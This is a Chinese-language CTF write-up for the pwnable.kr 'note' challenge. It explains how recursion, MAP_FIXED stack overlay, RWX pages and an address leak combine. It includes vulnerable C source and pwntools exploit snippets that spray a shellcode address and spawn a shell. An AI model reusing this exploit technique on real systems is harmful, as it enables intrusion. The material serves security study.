Skip to content

Pwnable.kr Note

复制本地路径 | 在线编辑

个人前言

大概在五年之前的组会上做出来的一道题目,无意间点到这篇文章,发现写的很不好,完全看不懂了。于是就直接把源码、自己的脚本、当时写的笔记甩给 GPT5.5,让他来重新总结。

不得不说,真是吊打我啊,写的比我的好多了,看了一会就立马懂了。

除了这个章节剩下的全是 AI 写的,我完全不需要修改,期间只问了他一个疑问,然后让他多做了一次调整。

当时写的笔记的开头,怀念,居然五年多了:

竟然在开组会的时候不小心写出来了,感谢无私分享解法的一位外国小哥。

前言

这题的关键不在于单个传统栈溢出,而在于几个看似“不够致命”的点组合在一起:

  • 程序关闭 ASLR,栈地址相对固定。
  • select_menu() 反复递归调用自身,导致栈持续向低地址增长。
  • mmap_s() 使用 MAP_FIXED 强行映射随机地址,可能覆盖已有映射。
  • note 页是 RWX,并且创建后会把映射地址打印出来。

最终思路是:先让递归不断压栈,再等待一次 mmap_s() 正好把 note 映射到当前栈区间内。由于 MAP_FIXED 会覆盖原有栈页,我们就可以把某段栈内容改成 shellcode 地址。之后程序退出或返回时,递归调用开始一层层 leave; ret,最终控制流会跳到 shellcode。

程序功能

程序维护了一个全局指针数组:

void* mem_arr[257];

用户可以创建、写入、读取、删除 note。创建 note 时,程序调用 mmap_s() 映射一页内存,并把地址打印出来:

void create_note(){
    int i;
    void* ptr;
    for(i=0; i<256; i++){
        if(mem_arr[i] == NULL){
            ptr = mmap_s((void*)NULL, PAGE_SIZE,
                         PROT_READ|PROT_WRITE|PROT_EXEC,
                         MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
            mem_arr[i] = ptr;
            printf("note created. no %d\n [%08x]", i, (int)ptr);
            return;
        }
    }
    printf("memory sults are fool\n");
    return;
}

这里有两个很重要的利用条件:

  1. 创建出来的 note 页具有 PROT_READ | PROT_WRITE | PROT_EXEC 权限,可以直接放 shellcode。
  2. 程序会泄露每个 note 的实际映射地址,方便脚本判断这次映射是否命中了目标区域。

写 note 时使用的是 gets()

void write_note(){
    unsigned int no;
    printf("note no?\n");
    scanf("%d", &no);
    clear_newlines();
    if(no>256){
        printf("index out of range\n");
        return;
    }
    if(mem_arr[no]==NULL){
        printf("empty slut!\n");
        return;
    }
    printf("paste your note (MAX : 4096 byte)\n");
    gets(mem_arr[no]);
}

因为每个 note 页大小是 0x1000,脚本写入的数据不超过这一页即可。真正决定能否利用的不是这里的 gets() 溢出,而是我们能否让某个 note 页映射到栈上。

误导点:Secret Menu 的 1 字节溢出

菜单里有一个隐藏选项:

void select_menu(){
    int menu;
    char command[1024];

    scanf("%d", &menu);
    clear_newlines();

    switch(menu){
        case 0x31337:
            printf("welcome to hacker's secret menu\n");
            printf("i'm sure 1byte overflow will be enough for you to pwn this\n");
            fgets(command, 1025, stdin);
            break;
        // ...
    }

    select_menu();
}

command 只有 1024 字节,但 fgets(command, 1025, stdin) 最多会写入 1024 个输入字符和 1 个字符串结束符,因此存在 1 字节溢出。

不过这个点单独看并不好用。实际调试可以看到,这 1 字节主要影响附近的局部变量,例如 menu 的低字节。可是当前这轮 switch 已经执行完,函数马上再次调用 select_menu() 进入下一轮菜单,因此这个 1 字节覆盖很难直接劫持控制流。

它更像是题目给出的提示:真正要关注的是 select_menu() 的递归结构,以及不断增长的栈。

关键点一:递归菜单导致栈持续下降

select_menu() 在函数末尾再次调用自己:

select_menu();

如果编译器没有做尾调用优化,那么每次选择菜单后都会创建一个新的栈帧,旧的栈帧不会释放。x86 的栈从高地址向低地址增长,所以每次递归都会让当前栈顶继续降低。

在调试环境中,可以观察到每进入一次新的 select_menu(),栈大约下降:

0x430

这也是 exploit 中的常量:

one_stack_offset = 0x430
ebp_start = 0xffffdc08
esp_start = 0xffffd7e0

于是,随着菜单循环次数增加,活跃栈区间会不断变大。由于题目环境不开 ASLR,初始栈地址稳定,我们可以在脚本里估算当前递归深度对应的栈范围。

关键点二:MAP_FIXED 可以覆盖已有映射

题目自定义了一个所谓“安全”的 mmap_s()

void* mmap_s(void* addr, size_t length, int prot, int flags, int fd, off_t offset){
    if(addr == NULL && !(flags & MAP_FIXED) ){
        void* tmp=0;
        int fd = open("/dev/urandom", O_RDONLY);
        if(fd==-1) exit(-1);
        if(read(fd, &addr, 4)!=4) exit(-1);
        close(fd);

        addr = (void*)( ((int)addr & 0xFFFFF000) | 0x80000000 );

        while(1){
            tmp = mmap(addr, length, prot, flags | MAP_FIXED, fd, offset);
            if(tmp != MAP_FAILED){
                return tmp;
            }
            else{
                addr = (void*)((int)addr + PAGE_SIZE);
            }
        }
    }

    return mmap(addr, length, prot, flags, fd, offset);
}

它的本意是从 /dev/urandom 取一个随机地址,然后按页对齐,并强制设置最高位,让地址落在高地址区域。

问题在于:它调用 mmap() 时加了 MAP_FIXED

MAP_FIXED 的语义非常危险:如果目标地址已经存在映射,内核会先取消原映射,再把新映射放到这个地址。因此,当随机地址落到栈区间时,mmap_s() 就会把对应的栈页替换成一页新的 RWX note 内存。

这意味着我们拿到的不只是普通 note,而是“覆盖到栈上的 note”。之后通过 write_note() 写这个 note,本质上就是在写那段栈内存。

利用目标

利用时需要两块 note:

  1. 一块普通 note,用来存放 shellcode。
  2. 一块命中栈区间的 note,用来把栈内容覆盖成 shellcode 地址。

因为程序会打印每次创建 note 的地址,所以脚本可以不断创建 note,并检查返回地址是否落在我们估算的栈区间内:

if (this_addr < ebp_start) and (this_addr > stack_addr):
    note_in_stack = (this_no, hex(this_addr))
    break

这里的 ebp_start 是初始栈帧附近的高地址边界,stack_addr 是根据递归次数估算出来的当前低地址边界。只要 this_addr 落在这个区间,说明这次 mmap_s() 映射到了当前活跃栈区域。

选择这个区间的原因是:

  • 栈从高地址向低地址增长。
  • 当前递归越深,已经占用的栈范围越大。
  • 只要 note 映射到当前栈顶以上、初始栈附近以下的位置,就有机会覆盖未来返回过程中会被使用到的栈数据。

利用流程

1. 不断创建 note,等待命中栈区间

脚本每次调用 create_one(),都会进入一层新的菜单递归,并获得新 note 的编号和地址:

def create_one():
    sh.recvuntil('5. exit\n')
    sh.sendline('1')
    data      = sh.recvuntil('- Select Menu -').split(b' ')
    this_no   = int( data[3][:-1], 10 )
    this_addr = int( data[4][1:-2], 16 )
    return (this_no, this_addr)

如果这次映射地址没有落到栈区间,就继续创建。同时根据递归深度更新当前估算的栈低地址:

if (this_no == 255):
    delete_all()
    stack_addr = stack_addr - one_stack_offset * 256
else:
    stack_addr = stack_addr - one_stack_offset

由于 mem_arr 最多保存 256 个 note,编号达到 255 后需要先删除所有 note,再继续尝试。删除 note 本身也会经过菜单递归,因此脚本同样要把这部分带来的栈下降计入 stack_addr

2. 创建 shellcode note

一旦找到了命中栈区间的 note,就再创建一个普通 note,用来放 shellcode:

note_in_shell = create_one()
shellcode = 160 * b'\x90' + asm(shellcraft.sh())
write_one(note_in_shell[0], shellcode)

这里前面放了一段 NOP sled,降低跳转误差带来的影响。

3. 覆盖栈 note

最后,把命中栈区间的 note 写满 shellcode note 的地址:

write_one(note_in_stack[0], p32(note_in_shell[1]) * 1000)

这一步的效果是:把某段活跃栈内存改成大量相同的地址。之后当程序开始从递归调用中返回时,某一次 ret 会从这片被覆盖的栈中取返回地址,于是跳到 shellcode note。

这里的“从递归调用中返回”是由菜单里的退出选项触发的。源码中 5. exit 对应的逻辑如下:

case 5:
    printf("bye\n");
    return;

但是程序的菜单不是普通 while 循环,而是在每次处理完菜单后递归调用自己:

select_menu();

所以调用关系大致是:

select_menu 第 1 层
  -> select_menu 第 2 层
    -> select_menu 第 3 层
      -> ...

当我们在最深的一层选择 5 时,当前这一层 select_menu()return。返回到上一层后,上一层的 select_menu() 调用点后面也没有其他逻辑,于是上一层也会继续返回。这个过程会一直向外层展开。

每一层函数返回时都会执行类似 leave; ret 的流程,从栈上恢复 ebp 并取出返回地址。前面我们已经把某段栈内容覆盖成了大量 shellcode note 的地址,因此只要某一次 ret 从这片区域取返回地址,控制流就会跳入 shellcode。

为什么能够成功

整个利用链可以概括为:

  1. 递归菜单让栈不断向低地址增长。
  2. 不开 ASLR 使初始栈地址固定,脚本可以估算当前栈区间。
  3. mmap_s() 使用随机高地址,但每次会打印实际映射地址。
  4. MAP_FIXED 允许新 note 覆盖已有栈页。
  5. note 页具有 RWX 权限,可以直接放 shellcode。
  6. 覆盖栈页后,把未来返回路径上的内容铺成 shellcode 地址。
  7. 递归返回时触发 ret,控制流跳入 shellcode。

这题最精髓的地方在于,不需要精确覆盖某一个保存返回地址。我们利用递归制造出一大片未来会被返回流程消费的栈空间,再用 p32(shellcode_addr) * 1000 粗暴铺满。只要某次 ret 从这片区域取值,就能完成劫持。

总结

这题可以学到两个很重要的点:

  • 不受控的递归会持续消耗栈空间,在关闭 ASLR 的场景下甚至可以变成可预测的利用条件。
  • MAP_FIXED 非常危险,它不是“如果地址可用就映射”,而是“强制把映射放在这里,即使要覆盖原有映射”。

因此,所谓的 mmap_s() 并没有让程序更安全,反而提供了覆盖栈映射的能力。配合可执行 note 页和地址泄露,最终就能稳定地把控制流导向 shellcode。

Comments